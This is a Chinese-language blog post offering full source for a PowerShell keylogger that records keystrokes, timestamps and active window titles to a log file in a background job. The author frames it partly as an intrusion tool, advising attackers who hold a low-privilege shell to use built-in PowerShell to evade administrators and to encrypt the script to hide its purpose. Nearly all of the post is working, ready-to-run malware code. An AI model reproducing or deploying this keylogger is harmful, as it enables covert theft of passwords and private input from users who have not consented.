作為系統管理員，有些時候是需要記錄系統中的其他使用者的一些操作行為的，例如：當系統管理員懷疑係統存在漏洞，且已經有被植入後門或者建立隱藏賬戶時，就需要對曾經登陸的使用者進行監控，儲存其開啟或者操作過的檔案。或者在另外一個場景，當黑客拿下一個普通許可權的shell之後，想看看最近有哪些使用者登陸過，操作過什麼，以便根據使用者習慣採取進一步行動獲取更高許可權，這個時候記錄使用者行為就顯得很重要了。
可能有讀者覺得此時安裝個監控軟體不就行了麼，拜託，你入侵別人的系統，你裝個監控軟體，你把管理員試做無物麼？這個時候PowerShell這個vista及其之後Windows作業系統都自帶的強大的命令列就有了用處，系統自帶，不會被管理員發現異常，指令碼不用編譯，如果指令碼內容再加個密，他們更猜不出是幹什麼用的，嘿嘿。如果要記錄幾個特性用於記錄啥時候幹了什麼，無非要記錄的有幾樣內容：操作，哪個檔案或程式，時間。有這幾個特點就基本上可以掌握使用者的操作習慣了。
程式碼不算太難就不逐句解釋了，有啥問題的讀者可以給我留言詢問，基本上關鍵語句都有註釋的。程式碼如下：
function Get-TimedOperationRecord { <# Author:fuhj(powershell#live.cn ,http://fuhaijun.com) Logs keys pressed, time and the active window. .Parameter LogPath Specifies the path where pressed key details will be logged. By default, keystroke are logged to '$($Env:TEMP)\key.log'. .Parameter CollectionInterval Specifies the interval in minutes to capture keystrokes. By default, keystroke are captured indefinitely. .Example Get-TimedOperationRecord -LogPath C:\key.log .Example Get-TimedOperationRecord -CollectionInterval 20 #> [CmdletBinding()] Param ( [Parameter(Position = 0)] [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})] [String] $LogPath = "$($Env:TEMP)\key.log", [Parameter(Position = 1)] [UInt32] $CollectionInterval ) $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath) Write-Verbose "Logging keystrokes to $LogPath" $Initilizer = { $LogPath = 'REPLACEME' '"TypedKey","Time","WindowTitle"' | Out-File -FilePath $LogPath -Encoding unicode function KeyLog { [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null try { $ImportDll = [User32] } catch { $DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib') $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False) $TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class') $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) $FieldArray = [Reflection.FieldInfo[]] @( [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'), [Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'), [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'), [Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'), [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'), [Runtime.InteropServices.DllImportAttribute].GetField('CharSet') ) $PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys])) $FieldValueArray = [Object[]] @( 'GetAsyncKeyState', $True, $False, $True, [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto ) $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) $PInvokeMethod.SetCustomAttribute($CustomAttribute) $PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]])) $FieldValueArray = [Object[]] @( 'GetKeyboardState', $True, $False, $True, [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto ) $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) $PInvokeMethod.SetCustomAttribute($CustomAttribute) $PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public, Static', [Int32], [Type[]] @([Int32], [Int32])) $FieldValueArray = [Object[]] @( 'MapVirtualKey', $False, $False, $True, [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto ) $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) $PInvokeMethod.SetCustomAttribute($CustomAttribute) $PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32], [Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32])) $FieldValueArray = [Object[]] @( 'ToUnicode', $False, $False, $True, [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto ) $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) $PInvokeMethod.SetCustomAttribute($CustomAttribute) $PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @()) $FieldValueArray = [Object[]] @( 'GetForegroundWindow', $True, $False, $True, [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto ) $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) $PInvokeMethod.SetCustomAttribute($CustomAttribute) $ImportDll = $TypeBuilder.CreateType() } Start-Sleep -Milliseconds 40 try { #loop through typeable characters to see which is pressed for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++) { $VirtualKey = $TypeableChar $KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey) #if the key is pressed if (($KeyResult -band 0x8000) -eq 0x8000) { #check for keys not mapped by virtual keyboard $LeftShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000 $RightShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000 $LeftCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000 $RightCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000 $LeftAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000 $RightAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000 $TabKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000 $SpaceBar = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000 $DeleteKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000 $EnterKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000 $BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000 $LeftArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000 $RightArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000 $UpArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000 $DownArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000 $LeftMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000 $RightMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000 if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'} if ($LeftCtrl -or $RightCtrl) {$LogOutput += '[Ctrl]'} if ($LeftAlt -or $RightAlt) {$LogOutput += '[Alt]'} if ($TabKey) {$LogOutput += '[Tab]'} if ($SpaceBar) {$LogOutput += '[SpaceBar]'} if ($DeleteKey) {$LogOutput += '[Delete]'} if ($EnterKey) {$LogOutput += '[Enter]'} if ($BackSpaceKey) {$LogOutput += '[Backspace]'} if ($LeftArrow) {$LogOutput += '[Left Arrow]'} if ($RightArrow) {$LogOutput += '[Right Arrow]'} if ($UpArrow) {$LogOutput += '[Up Arrow]'} if ($DownArrow) {$LogOutput += '[Down Arrow]'} if ($LeftMouse) {$LogOutput += '[Left Mouse]'} if ($RightMouse) {$LogOutput += '[Right Mouse]'} #check for capslock if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'} $MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3) $KeyboardState = New-Object Byte[] 256 $CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState) #create a stringbuilder object $StringBuilder = New-Object -TypeName System.Text.StringBuilder; $UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0) #convert typed characters if ($UnicodeKey -gt 0) { $TypedCharacter = $StringBuilder.ToString() $LogOutput += ('['+ $TypedCharacter +']') } #get the title of the foreground window $TopWindow = $ImportDll::GetForegroundWindow() $WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle #get the current DTG $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff) #Create a custom object to store results $ObjectProperties = @{'Key Typed' = $LogOutput; 'Window Title' = $WindowTitle; 'Time' = $TimeStamp} $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties $CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1] #return results Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode } } } catch {} } } $Initilizer = [ScriptBlock]::Create(($Initilizer -replace 'REPLACEME', $LogPath)) Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null if ($PSBoundParameters['CollectionInterval']) { $Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000) Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action { Stop-Job -Name Keylogger Unregister-Event -SourceIdentifier ElapsedAction $Sender.Stop() } | Out-Null } }
執行方式如下圖所示：
執行效果，會在指定的目錄裡生成log檔案，內容如下圖所示：
能夠看到裡面相關的擊鍵動作，有興趣的讀者可以猜一下，這段被記錄的操作都幹了什麼，期間騰訊還推了一次彈窗新聞，無恥啊。
作者: 付海軍
出處：http://fuhj02.cnblogs.com
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